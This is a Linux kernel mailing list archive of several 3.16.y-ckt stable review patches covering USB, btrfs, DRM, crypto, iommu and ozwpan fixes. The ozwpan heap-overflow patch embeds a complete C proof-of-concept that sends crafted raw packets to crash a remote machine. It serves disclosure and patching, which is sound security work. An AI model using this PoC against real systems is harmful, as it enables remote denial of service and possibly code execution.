 drivers/usb/dwc3/core.h | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/usb/dwc3/core.h b/drivers/usb/dwc3/core.h
index 57332e3768e4..1ba964de9c3b 100644
--- a/drivers/usb/dwc3/core.h
+++ b/drivers/usb/dwc3/core.h
@@ -307,7 +307,7 @@
 #define DWC3_DGCMD_SET_ENDPOINT_NRDY	0x0c
 #define DWC3_DGCMD_RUN_SOC_BUS_LOOPBACK	0x10
 
-#define DWC3_DGCMD_STATUS(n)		(((n) >> 15) & 1)
+#define DWC3_DGCMD_STATUS(n)		(((n) >> 12) & 0x0F)
 #define DWC3_DGCMD_CMDACT		(1 << 10)
 #define DWC3_DGCMD_CMDIOC		(1 << 8)
 
@@ -323,7 +323,7 @@
 #define DWC3_DEPCMD_PARAM_SHIFT		16
 #define DWC3_DEPCMD_PARAM(x)		((x) << DWC3_DEPCMD_PARAM_SHIFT)
 #define DWC3_DEPCMD_GET_RSC_IDX(x)	(((x) >> DWC3_DEPCMD_PARAM_SHIFT) & 0x7f)
-#define DWC3_DEPCMD_STATUS(x)		(((x) >> 15) & 1)
+#define DWC3_DEPCMD_STATUS(x)		(((x) >> 12) & 0x0F)
 #define DWC3_DEPCMD_HIPRI_FORCERM	(1 << 11)
 #define DWC3_DEPCMD_CMDACT		(1 << 10)
 #define DWC3_DEPCMD_CMDIOC		(1 << 8)
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172032 — [PATCH 3.16.y-ckt 46/71] btrfs: incorrect handling for fiemap_fill_next_extent return

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 46/71] btrfs: incorrect handling for fiemap_fill_next_extent return
Message-ID	<pFcgA-5Bx-83@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chengyu Song <csong84@gatech.edu>

commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.

fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
the last extent that will fit in user array. If 1 is returned, the return
value may eventually returned to user space, which should not happen, according
to manpage of ioctl.

Signed-off-by: Chengyu Song <csong84@gatech.edu>
Reviewed-by: David Sterba <dsterba@suse.cz>
Reviewed-by: Liu Bo <bo.li.liu@oracle.com>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 fs/btrfs/extent_io.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/fs/btrfs/extent_io.c b/fs/btrfs/extent_io.c
index 09b4e3165e2c..a7db105139d2 100644
--- a/fs/btrfs/extent_io.c
+++ b/fs/btrfs/extent_io.c
@@ -4359,8 +4359,11 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo,
 		}
 		ret = fiemap_fill_next_extent(fieinfo, em_start, disko,
 					      em_len, flags);
-		if (ret)
+		if (ret) {
+			if (ret == 1)
+				ret = 0;
 			goto out_free;
+		}
 	}
 out_free:
 	free_extent_map(em);
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172033 — [PATCH 3.16.y-ckt 55/71] pata_octeon_cf: fix broken build

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 55/71] pata_octeon_cf: fix broken build
Message-ID	<pFcgA-5Bx-87@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Aaro Koskinen <aaro.koskinen@nokia.com>

commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.

MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
build. Fix that.

Signed-off-by: Aaro Koskinen <aaro.koskinen@nokia.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/ata/pata_octeon_cf.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/ata/pata_octeon_cf.c b/drivers/ata/pata_octeon_cf.c
index 2a97d3a531ec..afc252f523f0 100644
--- a/drivers/ata/pata_octeon_cf.c
+++ b/drivers/ata/pata_octeon_cf.c
@@ -1053,7 +1053,7 @@ static struct of_device_id octeon_cf_match[] = {
 	},
 	{},
 };
-MODULE_DEVICE_TABLE(of, octeon_i2c_match);
+MODULE_DEVICE_TABLE(of, octeon_cf_match);
 
 static struct platform_driver octeon_cf_driver = {
 	.probe		= octeon_cf_probe,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172035 — [PATCH 3.16.y-ckt 65/71] drm/mgag200: Reject non-character-cell-aligned mode widths

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 65/71] drm/mgag200: Reject non-character-cell-aligned mode widths
Message-ID	<pFcgA-5Bx-89@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Adam Jackson <ajax@redhat.com>

commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream.

Turns out 1366x768 does not in fact work on this hardware.

Signed-off-by: Adam Jackson <ajax@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/gpu/drm/mgag200/mgag200_mode.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/gpu/drm/mgag200/mgag200_mode.c b/drivers/gpu/drm/mgag200/mgag200_mode.c
index a034ed408252..222b0ff2e3fd 100644
--- a/drivers/gpu/drm/mgag200/mgag200_mode.c
+++ b/drivers/gpu/drm/mgag200/mgag200_mode.c
@@ -1529,6 +1529,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector,
 		return MODE_BANDWIDTH;
 	}
 
+	if ((mode->hdisplay % 8) != 0 || (mode->hsync_start % 8) != 0 ||
+	    (mode->hsync_end % 8) != 0 || (mode->htotal % 8) != 0) {
+		return MODE_H_ILLEGAL;
+	}
+
 	if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 ||
 	    mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 ||
 	    mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 ||
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172037 — [PATCH 3.16.y-ckt 67/71] crypto: caam - improve initalization for context state saves

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 67/71] crypto: caam - improve initalization for context state saves
Message-ID	<pFcgz-5Bx-51@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Steve Cornelius <steve.cornelius@freescale.com>

commit 6fd4b15603124c1b56e03db29b41ec39d8a077b9 upstream.

Multiple function in asynchronous hashing use a saved-state block,
a.k.a. struct caam_hash_state, which holds a stash of information
between requests (init/update/final). Certain values in this state
block are loaded for processing using an inline-if, and when this
is done, the potential for uninitialized data can pose conflicts.
Therefore, this patch improves initialization of state data to
prevent false assignments using uninitialized data in the state block.

This patch addresses the following traceback, originating in
ahash_final_ctx(), although a problem like this could certainly
exhibit other symptoms:

kernel BUG at arch/arm/mm/dma-mapping.c:465!
Unable to handle kernel NULL pointer dereference at virtual address 00000000
pgd = 80004000
[00000000] *pgd=00000000
Internal error: Oops: 805 [#1] PREEMPT SMP
Modules linked in:
CPU: 0    Not tainted  (3.0.15-01752-gdd441b9-dirty #40)
PC is at __bug+0x1c/0x28
LR is at __bug+0x18/0x28
pc : [<80043240>]    lr : [<8004323c>]    psr: 60000013
sp : e423fd98  ip : 60000013  fp : 0000001c
r10: e4191b84  r9 : 00000020  r8 : 00000009
r7 : 88005038  r6 : 00000001  r5 : 2d676572  r4 : e4191a60
r3 : 00000000  r2 : 00000001  r1 : 60000093  r0 : 00000033
Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment kernel
Control: 10c53c7d  Table: 1000404a  DAC: 00000015
Process cryptomgr_test (pid: 1306, stack limit = 0xe423e2f0)
Stack: (0xe423fd98 to 0xe4240000)
fd80:                                                       11807fd1 80048544
fda0: 88005000 e4191a00 e5178040 8039dda0 00000000 00000014 2d676572 e4191008
fdc0: 88005018 e4191a60 00100100 e4191a00 00000000 8039ce0c e423fea8 00000007
fde0: e4191a00 e4227000 e5178000 8039ce18 e419183c 80203808 80a94a44 00000006
fe00: 00000000 80207180 00000000 00000006 e423ff08 00000000 00000007 e5178000
fe20: e41918a4 80a949b4 8c4844e2 00000000 00000049 74227000 8c4844e2 00000e90
fe40: 0000000e 74227e90 ffff8c58 80ac29e0 e423fed4 8006a350 8c81625c e423ff5c
fe60: 00008576 e4002500 00000003 00030010 e4002500 00000003 e5180000 e4002500
fe80: e5178000 800e6d24 007fffff 00000000 00000010 e4001280 e4002500 60000013
fea0: 000000d0 804df078 00000000 00000000 00000000 00000000 00000000 00000000
fec0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
fee0: 00000000 00000000 e4227000 e4226000 e4753000 e4752000 e40a5000 e40a4000
ff00: e41e7000 e41e6000 00000000 00000000 00000000 e423ff14 e423ff14 00000000
ff20: 00000400 804f9080 e5178000 e4db0b40 00000000 e4db0b80 0000047c 00000400
ff40: 00000000 8020758c 00000400 ffffffff 0000008a 00000000 e4db0b40 80206e00
ff60: e4049dbc 00000000 00000000 00000003 e423ffa4 80062978 e41a8bfc 00000000
ff80: 00000000 e4049db4 00000013 e4049db0 00000013 00000000 00000000 00000000
ffa0: e4db0b40 e4db0b40 80204cbc 00000013 00000000 00000000 00000000 80204cfc
ffc0: e4049da0 80089544 80040a40 00000000 e4db0b40 00000000 00000000 00000000
ffe0: e423ffe0 e423ffe0 e4049da0 800894c4 80040a40 80040a40 00000000 00000000
[<80043240>] (__bug+0x1c/0x28) from [<80048544>] (___dma_single_dev_to_cpu+0x84)
[<80048544>] (___dma_single_dev_to_cpu+0x84/0x94) from [<8039dda0>] (ahash_fina)
[<8039dda0>] (ahash_final_ctx+0x180/0x428) from [<8039ce18>] (ahash_final+0xc/0)
[<8039ce18>] (ahash_final+0xc/0x10) from [<80203808>] (crypto_ahash_op+0x28/0xc)
[<80203808>] (crypto_ahash_op+0x28/0xc0) from [<80207180>] (test_hash+0x214/0x5)
[<80207180>] (test_hash+0x214/0x5b8) from [<8020758c>] (alg_test_hash+0x68/0x8c)
[<8020758c>] (alg_test_hash+0x68/0x8c) from [<80206e00>] (alg_test+0x7c/0x1b8)
[<80206e00>] (alg_test+0x7c/0x1b8) from [<80204cfc>] (cryptomgr_test+0x40/0x48)
[<80204cfc>] (cryptomgr_test+0x40/0x48) from [<80089544>] (kthread+0x80/0x88)
[<80089544>] (kthread+0x80/0x88) from [<80040a40>] (kernel_thread_exit+0x0/0x8)
Code: e59f0010 e1a01003 eb126a8d e3a03000 (e5833000)
---[ end trace d52a403a1d1eaa86 ]---

Signed-off-by: Steve Cornelius <steve.cornelius@freescale.com>
Signed-off-by: Victoria Milhoan <vicki.milhoan@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/crypto/caam/caamhash.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/drivers/crypto/caam/caamhash.c b/drivers/crypto/caam/caamhash.c
index eea7ae823947..7e050b85b4f2 100644
--- a/drivers/crypto/caam/caamhash.c
+++ b/drivers/crypto/caam/caamhash.c
@@ -1460,6 +1460,8 @@ static int ahash_init(struct ahash_request *req)
 
 	state->current_buf = 0;
 	state->buf_dma = 0;
+	state->buflen_0 = 0;
+	state->buflen_1 = 0;
 
 	return 0;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172038 — [PATCH 3.16.y-ckt 57/71] drm/i915: Fix DDC probe for passive adapters

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 57/71] drm/i915: Fix DDC probe for passive adapters
Message-ID	<pFcgz-5Bx-65@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jani Nikula <jani.nikula@intel.com>

commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.

Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
devices, as they do not have a sink device in them to respond to any AUX
traffic. When probing these dongles over the DDC, sometimes they will
NAK the first attempt even though the transaction is valid and they
support the DDC protocol. The retry loop inside of
drm_do_probe_ddc_edid() would normally catch this case and try the
transaction again, resulting in success.

That, however, was thwarted by the fix for [1]:

commit 9292f37e1f5c79400254dca46f83313488093825
Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
Date:   Thu Jan 5 09:34:28 2012 -0200

    drm: give up on edid retries when i2c bus is not responding

This added code to exit immediately if the return code from the
i2c_transfer function was -ENXIO in order to reduce the amount of time
spent in waiting for unresponsive or disconnected devices. That was
possible because the underlying i2c bit banging algorithm had retries of
its own (which, of course, were part of the reason for the bug the
commit fixes).

Since its introduction in

commit f899fc64cda8569d0529452aafc0da31c042df2e
Author: Chris Wilson <chris@chris-wilson.co.uk>
Date:   Tue Jul 20 15:44:45 2010 -0700

    drm/i915: use GMBUS to manage i2c links

we've been flipping back and forth enabling the GMBUS transfers, but
we've settled since then. The GMBUS implementation does not do any
retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
the retry on -ENXIO.

Retry GMBUS once on -ENXIO on first message to mitigate the issues with
passive adapters.

This patch is based on the work, and commit message, by Todd Previte
<tprevite@gmail.com>.

[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059

v2: Don't retry if using bit banging.

v3: Move retry within gmbux_xfer, retry only on first message.

v4: Initialize GMBUS0 on retry (Ville).

v5: Take index reads into account (Ville).

Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
Cc: Todd Previte <tprevite@gmail.com>
Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
Tested-by: Jim Bride <jim.bride@linux.intel.com>
Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/gpu/drm/i915/intel_i2c.c | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/drivers/gpu/drm/i915/intel_i2c.c b/drivers/gpu/drm/i915/intel_i2c.c
index 1d02970ed395..81f8ec85a48a 100644
--- a/drivers/gpu/drm/i915/intel_i2c.c
+++ b/drivers/gpu/drm/i915/intel_i2c.c
@@ -489,7 +489,7 @@ gmbus_xfer(struct i2c_adapter *adapter,
 					       struct intel_gmbus,
 					       adapter);
 	struct drm_i915_private *dev_priv = bus->dev_priv;
-	int i, reg_offset;
+	int i = 0, inc, try = 0, reg_offset;
 	int ret = 0;
 
 	intel_aux_display_runtime_get(dev_priv);
@@ -502,12 +502,14 @@ gmbus_xfer(struct i2c_adapter *adapter,
 
 	reg_offset = dev_priv->gpio_mmio_base;
 
+retry:
 	I915_WRITE(GMBUS0 + reg_offset, bus->reg0);
 
-	for (i = 0; i < num; i++) {
+	for (; i < num; i += inc) {
+		inc = 1;
 		if (gmbus_is_index_read(msgs, i, num)) {
 			ret = gmbus_xfer_index_read(dev_priv, &msgs[i]);
-			i += 1;  /* set i to the index of the read xfer */
+			inc = 2; /* an index read is two msgs */
 		} else if (msgs[i].flags & I2C_M_RD) {
 			ret = gmbus_xfer_read(dev_priv, &msgs[i], 0);
 		} else {
@@ -579,6 +581,18 @@ clear_err:
 			 adapter->name, msgs[i].addr,
 			 (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len);
 
+	/*
+	 * Passive adapters sometimes NAK the first probe. Retry the first
+	 * message once on -ENXIO for GMBUS transfers; the bit banging algorithm
+	 * has retries internally. See also the retry loop in
+	 * drm_do_probe_ddc_edid, which bails out on the first -ENXIO.
+	 */
+	if (ret == -ENXIO && i == 0 && try++ == 0) {
+		DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n",
+			      adapter->name);
+		goto retry;
+	}
+
 	goto out;
 
 timeout:
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172039 — [PATCH 3.16.y-ckt 51/71] iommu/vt-d: Fix passthrough mode with translation-disabled devices

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 51/71] iommu/vt-d: Fix passthrough mode with translation-disabled devices
Message-ID	<pFcgA-5Bx-75@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: David Woodhouse <David.Woodhouse@intel.com>

commit 4ed6a540fab8ea4388c1703b73ecfed68a2009d1 upstream.

When we use 'intel_iommu=igfx_off' to disable translation for the
graphics, and when we discover that the BIOS has misconfigured the DMAR
setup for I/OAT, we use a special DUMMY_DEVICE_DOMAIN_INFO value in
dev->archdata.iommu to indicate that translation is disabled.

With passthrough mode, we were attempting to dereference that as a
normal pointer to a struct device_domain_info when setting up an
identity mapping for the affected device.

This fixes the problem by making device_to_iommu() explicitly check for
the special value and indicate that no IOMMU was found to handle the
devices in question.

Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/iommu/intel-iommu.c | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index afbde3730b11..baffab3948d7 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -666,6 +666,11 @@ static void domain_update_iommu_cap(struct dmar_domain *domain)
 	domain_update_iommu_superpage(domain);
 }
 
+static int iommu_dummy(struct device *dev)
+{
+	return dev->archdata.iommu == DUMMY_DEVICE_DOMAIN_INFO;
+}
+
 static struct intel_iommu *device_to_iommu(struct device *dev, u8 *bus, u8 *devfn)
 {
 	struct dmar_drhd_unit *drhd = NULL;
@@ -675,6 +680,9 @@ static struct intel_iommu *device_to_iommu(struct device *dev, u8 *bus, u8 *devf
 	u16 segment;
 	int i;
 
+	if (iommu_dummy(dev))
+		return NULL;
+
 	if (dev_is_pci(dev)) {
 		pdev = to_pci_dev(dev);
 		segment = pci_domain_nr(pdev->bus);
@@ -2965,11 +2973,6 @@ static inline struct dmar_domain *get_valid_domain_for_dev(struct device *dev)
 	return __get_valid_domain_for_dev(dev);
 }
 
-static int iommu_dummy(struct device *dev)
-{
-	return dev->archdata.iommu == DUMMY_DEVICE_DOMAIN_INFO;
-}
-
 /* Check if the dev needs to go through non-identity map and unmap process.*/
 static int iommu_no_mapping(struct device *dev)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172040 — [PATCH 3.16.y-ckt 68/71] crypto: caam - fix RNG buffer cache alignment

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 68/71] crypto: caam - fix RNG buffer cache alignment
Message-ID	<pFcgz-5Bx-61@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Steve Cornelius <steve.cornelius@freescale.com>

commit 412c98c1bef65fe7589f1300e93735d96130307c upstream.

The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
allocated in one DMA-tagged region. While the kernel's heap allocator
should place the overall struct on a cacheline aligned boundary, the 2
buffers contained within may not necessarily align. Consenquently, the ends
of unaligned buffers may not fully flush, and if so, stale data will be left
behind, resulting in small repeating patterns.

This fix aligns the buffers inside the struct.

Note that not all of the data inside caam_rng_ctx necessarily needs to be
DMA-tagged, only the buffers themselves require this. However, a fix would
incur the expense of error-handling bloat in the case of allocation failure.

Signed-off-by: Steve Cornelius <steve.cornelius@freescale.com>
Signed-off-by: Victoria Milhoan <vicki.milhoan@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/crypto/caam/caamrng.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/crypto/caam/caamrng.c b/drivers/crypto/caam/caamrng.c
index 8c07d3153f12..18c05cae36a4 100644
--- a/drivers/crypto/caam/caamrng.c
+++ b/drivers/crypto/caam/caamrng.c
@@ -56,7 +56,7 @@
 
 /* Buffer, its dma address and lock */
 struct buf_data {
-	u8 buf[RN_BUF_SIZE];
+	u8 buf[RN_BUF_SIZE] ____cacheline_aligned;
 	dma_addr_t addr;
 	struct completion filled;
 	u32 hw_desc[DESC_JOB_O_LEN];
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172041 — [PATCH 3.16.y-ckt 12/71] ozwpan: Use proper check to prevent heap overflow

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 12/71] ozwpan: Use proper check to prevent heap overflow
Message-ID	<pFcgA-5Bx-91@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index f32d01427f77..74b3d85ddaa6 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -386,10 +386,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
